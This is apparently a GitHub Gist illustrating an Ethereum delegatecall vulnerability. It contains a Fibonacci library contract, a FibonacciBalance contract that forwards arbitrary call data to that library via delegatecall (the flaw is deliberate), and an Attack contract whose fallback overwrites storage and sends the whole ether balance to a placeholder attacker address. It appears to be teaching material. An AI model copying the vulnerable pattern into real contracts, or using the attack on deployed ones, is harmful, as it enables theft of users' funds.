Created
July 30, 2024 00:33
-
-
Save phunguyen19/20805fada6508938dd21c310397c2eb6 to your computer and use it in GitHub Desktop.
Example Ethereum Smart Contract delegatecall vulnerability
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// library contract - calculates Fibonacci-like numbers | |
contract FibonacciLib { | |
// initializing the standard Fibonacci sequence | |
uint public start; | |
uint public calculatedFibNumber; | |
// modify the zeroth number in the sequence | |
function setStart(uint _start) public { | |
start = _start; | |
} | |
function setFibonacci(uint n) public { | |
calculatedFibNumber = fibonacci(n); | |
} | |
function fibonacci(uint n) internal returns (uint) { | |
if (n == 0) return start; | |
else if (n == 1) return start + 1; | |
else return fibonacci(n - 1) + fibonacci(n - 2); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract FibonacciBalance { | |
address public fibonacciLibrary; | |
// the current Fibonacci number to withdraw | |
uint public calculatedFibNumber; | |
// the starting Fibonacci sequence number | |
uint public start = 3; | |
uint public withdrawalCounter; | |
// the Fibonancci function selector | |
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)")); | |
// constructor - loads the contract with ether | |
constructor(address _fibonacciLibrary) external payable { | |
fibonacciLibrary = _fibonacciLibrary; | |
} | |
function withdraw() { | |
withdrawalCounter += 1; | |
// calculate the Fibonacci number for the current withdrawal user- | |
// this sets calculatedFibNumber | |
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter)); | |
msg.sender.transfer(calculatedFibNumber * 1 ether); | |
} | |
// allow users to call Fibonacci library functions | |
function() public { | |
require(fibonacciLibrary.delegatecall(msg.data)); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack { | |
uint storageSlot0; // corresponds to fibonacciLibrary | |
uint storageSlot1; // corresponds to calculatedFibNumber | |
// fallback - this will run if a specified function is not found | |
function() public { | |
storageSlot1 = 0; // we set calculatedFibNumber to 0, so if withdraw | |
// is called we don't send out any ether | |
<attacker_address>.transfer(this.balance); // we take all the ether | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment